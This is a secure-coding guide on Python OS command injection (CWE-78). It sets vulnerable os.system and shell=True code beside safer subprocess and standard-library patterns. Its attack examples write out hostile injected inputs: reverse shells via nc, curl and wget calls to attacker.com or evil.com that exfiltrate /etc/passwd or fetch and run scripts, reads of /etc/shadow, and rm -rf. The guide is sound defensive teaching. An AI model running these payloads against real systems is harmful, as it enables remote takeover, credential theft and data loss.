Skip to content

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - Python

Overview

OS command injection occurs when an application incorporates untrusted data into an operating system command. Where a shell parses that command, it reads the injected text as syntax rather than as data, and the attacker runs commands of their own on the host.

Primary Defence: Use Python standard-library modules or maintained Python packages (pathlib, shutil, requests, zipfile, etc.) instead of system commands, or if unavoidable, use subprocess.run() with argument lists and shell=False. Avoid launching shell scripts or batch files with untrusted arguments; platform-specific shell parsing can reappear even when your Python code does not explicitly request a shell.

Common Vulnerable Patterns

String Concatenation with os.system()

# VULNERABLE - Command injection via string concatenation

filename = request.GET['file']
os.system('ls -la ' + filename)

# Attack example:
# Input: "file.txt; rm -rf /tmp/*"
# Result: Deletes all files in /tmp

Why this is vulnerable: os.system() executes commands through the shell, allowing attackers to inject shell metacharacters like ;, |, &&, or $() to chain commands such as ; rm -rf / or | nc attacker.com 4444 -e /bin/sh.

Using subprocess with shell=True

# VULNERABLE - Shell command injection

user_input = request.GET['path']
subprocess.run(f'cat {user_input}', shell=True)

# Attack example:
# Input: "file.txt | curl attacker.com?data=$(cat /etc/passwd)"
# Result: Exfiltrates password file

Why this is vulnerable: shell=True hands the whole string to /bin/sh, so the shell's grammar is now part of the input's grammar - ;, |, &&, backticks, $( ) and newline are all live, and the argument boundaries the caller intended do not exist. The f-string never had a chance to be safe.

The fix is structural rather than a matter of escaping. Passing a list with shell=False (the default) hands the arguments to execve directly, so a value containing ; rm -rf / becomes one argument that no shell ever parses. shlex.quote() exists for the cases where a shell is genuinely required - a pipeline the application does not control - and it is the fallback, not the recommendation.

subprocess.Popen with Shell Invocation

# VULNERABLE - Invoking shell allows command injection

ip = request.GET['ip']
subprocess.Popen(f'ping -c 4 {ip}', shell=True)

# Attack example:
# Input: "8.8.8.8 && cat /etc/shadow > /tmp/pwned"
# Result: Executes additional commands

Why this is vulnerable: subprocess.Popen with shell=True passes the command to the shell, allowing injection of shell operators like &&, ||, or ; to run commands of their own, such as && wget http://evil.com/backdoor.sh -O- | sh.

Unvalidated Input in subprocess.call()

# VULNERABLE - No input validation with shell=True

user_file = request.POST['filepath']
subprocess.call('grep pattern ' + user_file, shell=True)

# Attack example:
# Input: "data.txt; wget http://attacker.com/malware.sh -O /tmp/m.sh; python /tmp/m.sh"
# Result: Downloads and executes malware

Why this is vulnerable: subprocess.call() with shell=True and no validation lets an attacker inject shell metacharacters like ; to chain commands, so the attack example above downloads a script with wget and then runs it.

Caller-Chosen Executable (No Shell Involved)

# VULNERABLE - the request decides which program runs

import subprocess

tool = request.GET['tool']      # expected: "ping" or "traceroute"
target = request.GET['target']
result = subprocess.run([tool, target], capture_output=True, text=True, timeout=10)

# Attack example:
# Input: tool=rm, target=/srv/app/data/app.db
# Result: rm runs with the application's privileges and deletes the database

Why this is vulnerable: There is no shell here, and the list form is doing exactly what it promises, which is why this passes a review that is looking for shell=True. The problem is element zero. tool=rm deletes whatever target names, and tool=sh or tool=python3 with the path of a file the attacker uploaded runs their code. Without a shell the attacker cannot chain a second command on the same line, but they do not need to. The executable does not have to come from the request, either: a program path read from a settings table, a plugin manifest or an environment variable is the same finding if anyone outside the deployment can change it.

Secure Patterns

Use Python Native Libraries (PREFERRED - Eliminates Command Injection)

# SECURE - Use pathlib and os modules instead of OS commands

from pathlib import Path
import os

directory = Path('/uploads')
for file_path in directory.iterdir():
    stat = file_path.stat()
    print(f"{file_path.name} {stat.st_size} {stat.st_mtime}")

# More file operations

import shutil
content = Path(filepath).read_text()           # Instead of "cat"
shutil.copy(source, dest)                      # Instead of "cp"
Path(path).mkdir(parents=True, exist_ok=True)  # Instead of "mkdir -p"
Path(filepath).unlink()                        # Instead of "rm"

Why this works: Python's pathlib and shutil modules operate directly on the filesystem through the Python runtime. No process is launched and no shell parses metacharacters like ;, |, or &&, so a filename carrying shell syntax is only ever a filename. These functions are also more portable across operating systems than system commands.

Use requests Library for Network Operations

# SECURE - Use requests instead of wget/curl commands

import requests

response = requests.get(url, timeout=30)
content = response.content

# For downloads

with requests.get(url, stream=True, timeout=30) as r:
    r.raise_for_status()
    with open('download.file', 'wb') as f:
        for chunk in r.iter_content(chunk_size=8192):
            f.write(chunk)

Why this works: The requests library performs network operations in Python without executing wget, curl, or other command-line utilities. No shell is ever invoked, so a hostile URL or parameter stays a string and cannot escape into command syntax. The timeout parameter also prevents denial of service through hanging connections.

Use tarfile/zipfile for Archives

# SECURE - Use tarfile extraction filters instead of tar commands

import tarfile
from pathlib import Path

with tarfile.open(archive, 'r:gz') as tar:
    # Python 3.12+: data filter blocks absolute paths, outside-destination
    # paths, dangerous links, and special files.
    tar.extractall(path='./extracted', filter='data')

# For ZIP files

import zipfile
from pathlib import Path

destination = Path('./extracted').resolve()
with zipfile.ZipFile(archive, 'r') as zip_ref:
    for member in zip_ref.namelist():
        target = (destination / member).resolve()
        if not target.is_relative_to(destination):
            raise ValueError(f'Unsafe archive member: {member}')
        if Path(member).is_absolute():
            raise ValueError(f'Unsafe archive member: {member}')
    zip_ref.extractall(destination)

Why this works: Python's tarfile and zipfile modules handle archive operations without calling external tar, unzip, or 7z commands, so archive names cannot become shell syntax. For tar archives, Python 3.12+ extraction filters provide the important safety boundary: filter='data' rejects absolute paths, entries that would extract outside the destination, dangerous hardlinks/symlinks, and special files. For zip archives, resolving each destination path and checking is_relative_to(destination) prevents zip-slip traversal even when paths contain nested .. components. These archive checks address filesystem escape risks; they are separate from command injection prevention.

For older Python versions without tar extraction filters, do not extract untrusted tar files unless you implement equivalent checks for paths, links, special files, file count, and extracted size. Even with filter='data', extract untrusted archives into a new temporary directory and apply resource limits to reduce denial-of-service risk.

Use re Module for Text Processing

# SECURE - Use re module instead of grep commands

import re
from pathlib import Path

content = Path(filepath).read_text()
matches = re.findall(pattern, content)

# Line-by-line processing

with open(filepath) as f:
    matching_lines = [line for line in f if search_term in line]

Why this works: Python's re module and file I/O do the work of grep, sed, or awk without launching them, so a search term or pattern never reaches a command line. Matching in memory also keeps the logic in one language instead of splitting it between Python and a shell pipeline.

subprocess.run() with Argument List (If Process Execution Required)

WARNING: Avoid executing OS commands if at all possible. Python has native libraries for almost everything (requests, pathlib, zipfile, etc.), so exhaust those first. This pattern is ONLY for cases where no Python library exists (e.g., calling a legacy third-party binary).

# USE WITH CAUTION - When process execution is unavoidable, use argument list

import subprocess
import ipaddress

ip_address = request.GET['ip']

# Validate input first
try:
    ipaddress.ip_address(ip_address)
except ValueError:
    raise ValueError('Invalid IP address')

# Use list of arguments - NO SHELL
result = subprocess.run(
    ['ping', '-c', '4', ip_address],  # Arguments as list
    capture_output=True,
    text=True,
    shell=False,  # CRITICAL: shell=False
    timeout=10
)

print(result.stdout)

Why this works: Using subprocess.run() with arguments as a list and shell=False passes each argument directly to the executable without Python invoking /bin/sh or cmd.exe. Even if ip_address contains shell metacharacters like ; or &&, they are treated as literal argument data rather than command separators. Input validation provides defense-in-depth by rejecting malformed inputs before they reach subprocess. On Windows, avoid launching .bat or .cmd files with untrusted arguments; Python documents platform-specific cases where batch files may still be processed by a system shell.

Map the Requested Tool to a Fixed Invocation

# SECURE - the request picks a key; the application picks the program

import ipaddress
import subprocess

TOOLS = {
    'ping': ['/usr/bin/ping', '-c', '4'],
    'traceroute': ['/usr/bin/traceroute', '-n'],
}

def run_diagnostic(tool: str, target: str) -> str:
    invocation = TOOLS.get(tool)
    if invocation is None:
        raise ValueError('Unknown tool')
    ipaddress.ip_address(target)  # raises ValueError; an address cannot begin with '-'
    result = subprocess.run(
        [*invocation, target],
        capture_output=True,
        text=True,
        timeout=10,
    )
    return result.stdout

Why this works: The caller's string is only ever a dictionary key. The executable and its fixed options come from TOOLS, so rm, sh or /bin/sh finds no entry and is rejected before any process starts. The table holds absolute paths, so PATH does not get to decide which binary runs. The whole invocation is fixed except for one operand, and that operand is parsed as an IP address, which cannot begin with -. If the paths differ between hosts, resolve them once at startup with shutil.which() against a PATH you set, not on each request.

subprocess.run() with Path Validation (For File Operations)

WARNING: Use Python's pathlib, shutil, or os modules instead of subprocess for file operations. Only use subprocess for operations with no Python equivalent (e.g., calling external compression tools).

For file operations requiring subprocess - always validate paths.

# AVOID IF POSSIBLE - Validate paths before use

import re
from pathlib import Path

filename = request.GET['file']

# Validate filename. fullmatch(), not match() with '^...$': in Python '$' also
# matches immediately before a trailing newline, so the anchored pattern accepts
# "report.csv\n" (measured on 3.13.12). The first character excludes '-' so the
# value cannot be read as an option if it is ever passed to a subprocess.
if not re.fullmatch(r'[a-zA-Z0-9_.][a-zA-Z0-9._-]*', filename):
    raise ValueError('Invalid filename')

# Better: Use pathlib instead of subprocess
base_dir = Path('/uploads').resolve()
file_path = (base_dir / filename).resolve()
if not file_path.is_relative_to(base_dir):
    raise ValueError('Path traversal detected')

content = file_path.read_text()

Why this works: Using Path.resolve() and is_relative_to() ensures the resolved absolute path stays within the intended directory, preventing path traversal attacks through ../ sequences. The regex validation creates an allowlist of permitted filename characters, blocking shell metacharacters. The example then reads the file with pathlib's own read_text() rather than through subprocess, which is the better answer here because no process is launched at all.

Input Validation (Defense in Depth)

Allowlist Validation

import re

def validate_filename(filename):
    """Alphanumeric, underscore, dash, dot - but never a leading dash.

    fullmatch(), not match() with '^...$': in Python '$' also matches
    immediately before a trailing newline, so the anchored pattern accepts
    "report.csv\\n". A leading dash would be read as an option by any
    command the name is later passed to (CWE-88).
    """
    if not re.fullmatch(r'[a-zA-Z0-9_.][a-zA-Z0-9._-]*', filename):
        raise ValueError('Invalid filename characters')
    return filename

def validate_ip_address(ip):
    """Validate IPv4 format"""
    import ipaddress
    try:
        ipaddress.IPv4Address(ip)
        return ip
    except ValueError:
        raise ValueError('Invalid IP address')

Do not reach for \A...\z as the cross-language equivalent. Java writes this rule as matches(), .NET and PHP as \A...\z, and the obvious translation into Python is wrong: \Z is Python's strict end anchor, and \z was not a valid escape before 3.14, so re.compile(r'\A[a-z]+\z') raises PatternError: bad escape \z on 3.13 and earlier. Use re.fullmatch(), which has no trailing-newline case at all.

Framework-Specific Guidance

Django/Flask Integration

# Django view with validation

import ipaddress

def ping_view(request):
    ip_address = request.GET.get('ip', '')

    try:
        ipaddress.ip_address(ip_address)
    except ValueError:
        return HttpResponseBadRequest('Invalid IP')

    # Safe to use with subprocess
    result = subprocess.run(
        ['ping', '-c', '4', ip_address],
        capture_output=True,
        shell=False
    )
    return HttpResponse(result.stdout)

shlex for Argument Parsing (Use Carefully)

import shlex
import subprocess

# Only use shlex.split() for parsing TRUSTED input
# NOT for untrusted user input directly in commands
# Safe: parsing trusted command template

cmd_template = 'ping -c 4'
args = shlex.split(cmd_template)
args.append(validated_ip)  # Append validated user input
subprocess.run(args, shell=False)

# NEVER do this:
# user_input = request.GET['cmd']
# args = shlex.split(user_input)  # Still vulnerable!
# subprocess.run(args, shell=False)

Security Best Practices

Use Timeout

try:
    result = subprocess.run(
        ['ping', '-c', '4', ip_address],
        capture_output=True,
        shell=False,
        timeout=10  # Prevent hanging
    )
except subprocess.TimeoutExpired:
    # Handle timeout
    pass

Limit Resource Usage

import resource

def limit_process_resources():
    """Limit CPU and memory for subprocess"""
    def set_limits():
        # Limit CPU time to 30 seconds
        resource.setrlimit(resource.RLIMIT_CPU, (30, 30))
        # Limit memory to 128MB
        resource.setrlimit(resource.RLIMIT_AS, (128 * 1024 * 1024, 
                                                  128 * 1024 * 1024))

    return set_limits

# Use preexec_fn only in simple Unix subprocess launchers.
# In threaded web applications, prefer OS/container/cgroup limits or a worker wrapper.

subprocess.run(
    ['ping', '-c', '4', ip_address],
    preexec_fn=limit_process_resources(),
    shell=False
)

Drop Privileges (Unix)

import subprocess

# Python 3.9+: the user/group parameters do the setuid/setgid in the child
# after fork. They are POSIX-only and raise ValueError elsewhere.

subprocess.run(
    ['command'],
    user='nobody',
    group='nogroup',
    extra_groups=[],   # drop supplementary groups too
    shell=False
)

Prefer these over a preexec_fn that calls os.setuid() itself. Anything run from preexec_fn executes between fork() and exec(), where only async-signal-safe calls are legal; in a threaded process - which every WSGI or ASGI server is - a lock held by another thread at the moment of the fork can deadlock the child. The user/group parameters do the same work inside CPython's own fork-exec helper without that exposure.

Deprecated/Dangerous Functions to Avoid

# NEVER USE THESE:

os.system(cmd)              # Always uses shell
os.popen(cmd)               # Uses shell; prefer subprocess without shell
commands.getoutput(cmd)     # Removed in Python 3
subprocess.call(cmd, shell=True)
subprocess.Popen(cmd, shell=True)

# ALWAYS USE:

subprocess.run([...], shell=False)
subprocess.check_output([...], shell=False)

Considerations

shell=False does not finish the finding. An argument list stops the shell from parsing the value. It does not stop the program you launched from parsing it. ['tar', 'czf', archive, filename] with a filename of --to-command=... hands tar an option, and no shell was involved. Before closing a CWE-78 finding, ask what the target program does with a value starting with -, and either reject those values or place -- ahead of the user-controlled arguments where the program supports it. What is left is CWE-88, and Bandit cannot tell you whether it is closed. Removing shell=True turns its high-severity B602 into the low-severity B603, which Bandit 1.9.4 raises on every list-form subprocess call whether or not an argument can begin with - - so the drop in severity is not evidence either way.

The program itself is part of the judgement. ['ping', '-c', '4', ip] and ['python3', script] have the same shape and very different exposure: the second hands its argument to an interpreter, so any value is code. The same applies to shell-script wrappers, which re-enter a shell one layer below the Python code, and to tools that accept a command inside an option (find -exec, ssh -o ProxyCommand, git -c core.sshCommand).

The examples on this page write ping and similar tools without a path, for readability. subprocess resolves a bare name against PATH, and on Windows against the working directory as well - measured on Python 3.13 / Windows 11, a bare name ran from the working directory with shell=False. Pin the absolute path in production, as the mapping-table example does; Bandit reports the bare form as B607. What a bare name risks is CWE-426, and the generic page covers when it matters.

On Windows, a .bat target puts the shell back. Windows has no argv array at the system-call level: CreateProcess takes a single command-line string, subprocess builds it with list2cmdline(), and the child re-parses it. For a native executable that round-trips correctly - measured on Python 3.13 / Windows 11, an argument of x"&echo INJECTED& arrives at an .exe intact as one argument.

Point the same call at a batch file and it does not. cmd.exe parses the command line for a .bat or .cmd, so the same argument executes echo INJECTED even with shell=False. Python's own documentation flags this and does not escape for cmd.exe; Node.js (CVE-2024-27980) and PHP (CVE-2024-1874) shipped runtime fixes for the same defect class, CPython did not.

If a Windows deployment shells out through a batch wrapper, treat that wrapper as a shell: call the real executable directly, or validate the arguments against cmd.exe parsing rules rather than against the C runtime's. shell=False alone is not enough.

Where to put least privilege. Timeouts, RLIMIT_* and dropped privileges bound the damage; they do not close the finding, and a review that records them as the fix has recorded the wrong thing. Prefer the host's controls - a container security context, a systemd unit, cgroup limits - over preexec_fn, which runs between fork() and exec() in a process that is almost always threaded. Where the child must run as another user, the user/group parameters (Python 3.9+) do that without the preexec_fn hazard.

Testing

  • Test normal values for each argument, including valid filenames, paths, IP addresses, and URLs expected by the feature.
  • Test shell metacharacters such as ;, &&, |, backticks, $(), redirects, quotes, and newlines.
  • Test argument injection values such as filenames beginning with - or values that could become extra flags.
  • run_diagnostic('rm', '8.8.8.8'), and the same call with sh or /bin/sh, raises ValueError('Unknown tool') and starts no process. run_diagnostic('ping', '8.8.8.8') calls subprocess.run with ['/usr/bin/ping', '-c', '4', '8.8.8.8']. Patch subprocess.run and assert on that list rather than on the output, because a call that ran the wrong binary can still exit 0.
  • Test Windows and Unix behavior separately when the application is cross-platform, especially for .bat or .cmd launchers.
  • Verify invalid input fails before subprocess execution and returns a controlled error.
  • Re-run static analysis tools such as Bandit and add regression tests around the wrapper or service function that launches processes.

Common Pitfalls

  • Leaving a fallback path that still builds a command string: Fixing the primary code path while an error branch, a debug endpoint, or an admin-only route still concatenates input into a shell call. The scanner reported one line; the reachable ones are what matter.
  • Passing a list to subprocess.run() but also setting shell=True.
  • Using shlex.split() on untrusted user input and treating the result as safe.
  • Treating os.popen() as the modern replacement for os.system(): it looks like the subprocess family and is not. CPython implements it as subprocess.Popen(cmd, shell=True, ...) and it accepts nothing but a string, so it carries exactly the risk of os.system(). It is not formally deprecated and emits no warning, which is why it survives a cleanup that removed the os.system() calls beside it; only its os.popen2/popen3/popen4 siblings were removed in Python 3.
  • Validating with a denylist of shell metacharacters while still invoking a shell.
  • Using regex-only IP validation that accepts invalid addresses; use ipaddress for IP values.
  • Replacing a command injection bug with path traversal by passing unvalidated filenames into file operations.
  • Relying on timeouts, dropped privileges, or resource limits as the primary fix instead of removing shell interpretation.

Dependencies and Installation

  • pathlib, shutil, subprocess, zipfile, tarfile, ipaddress, and re are in the Python standard library.
  • requests is a third-party package for HTTP operations; keep it current through the project's dependency manager.
  • Bandit can help detect dangerous subprocess patterns, but manual review is still needed to confirm whether data is untrusted and whether shell=True or string commands are reachable.

Additional Resources